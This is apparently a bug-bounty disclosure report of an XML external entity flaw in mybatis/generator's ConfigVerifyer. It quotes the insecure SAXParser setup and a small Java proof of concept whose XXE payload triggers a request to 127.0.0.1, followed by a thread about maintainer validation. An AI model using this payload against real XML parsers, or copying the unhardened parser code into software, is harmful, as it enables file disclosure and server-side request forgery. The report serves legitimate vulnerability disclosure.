Improper Restriction of XML External Entity Reference in mybatis/generator
Reported on
Jan 16th 2022
Description
The isConfigFile() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/mybatis/generator/blob/f3907d3a4aad257e17ed3047bc4b089cdf5f92ca/eclipse/org.mybatis.generator.eclipse.ui/src/org/mybatis/generator/eclipse/ui/content/ConfigVerifyer.java#L99
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setValidating(false);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, this);
Proof of Concept
Extracted out the key function mentioned above to showcase how it can be exploited.
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
import java.io.ByteArrayInputStream;
public class Poc {
public static void main(String[] args) {
try {
String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Causes an SSRF to http://127.0.0.1
Impact
This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.
SECURITY.md
2 years ago
@admin Can you please validate this on behalf of maintainer and also fix. Thanks. https://github.com/mybatis/generator/pull/806#issuecomment-1015911381
@ready-research - it must be the maintainer that validates the report, as we require their visible claim on our platform to indicate that they believed the issue to be a vulnerability.
@jamieslome @admin As per the comments made by you in https://github.com/mybatis/generator/issues/803#issuecomment-1014708041 I responded and provided the details. And maintainer agreed to that and also merged my fix. And they are not comfortable with third-party's as per the comments. We can't force them to validate and they made a comment like I don't use huntr, "but perhaps you can link this PR to whatever entry is in that system."
So we should handle these cases with some other methods like validating on behalf of them.
It might be a process change for huntr, but it is still worth it in these cases. As the maintainer agreed and added a comment but perhaps you can link this PR to whatever entry is in that system(huntr).
Let me raise this with the team, and I will get back to you on this. Thanks for sharing all information related to this case 👍